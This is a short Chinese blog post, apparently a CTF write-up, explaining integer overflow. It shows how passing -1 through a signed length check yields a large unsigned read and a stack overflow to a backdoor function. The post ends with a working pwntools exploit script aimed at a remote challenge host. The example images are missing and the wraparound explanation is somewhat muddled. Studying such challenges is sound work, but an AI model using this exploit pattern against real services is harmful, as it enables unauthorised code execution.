整数溢出
所谓整数溢出就是利用数据类型的范围溢出来完成一个攻击效果。
每个数据类型都有取值范围,比如int它在64位的程序里时4个字节一字节时8位,共32位,无符号数他的极限就是2的32次方-1,有符号数就是2的31次方-1。当我输入一个有符号数时超过上限,就会变成一个负数直到变成-1.但是在有符号数那里还是一个很大的数。这个就是整数溢出最核心的原理。
例:


这个是main函数,然后还有一个backdoor

这个思路就出来了,通过栈溢出修改retrun addr为backdoor就可以了。
再看到main函数,输入的是一个有符号数,但是有个判断,不让我超过10,但是栈距离rbp的位置就有10,是不够溢出的,但是我们判断是有符号数,可以读入payload的地方是无符号数。这样我们如果输入一个-1,既可以绕过判断,又有一个很大的字节可以输入,所以就是这样的。
点击查看代码
from pwn import *
io=remote("1.14.71.254",28452)
io.recvuntil("[+]Please input the length of your name:")
io.sendline("-1")
io.recvuntil("[+]What's u name?\n")
payload="a"*(0x8+0x10)+p64(0x400726)
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号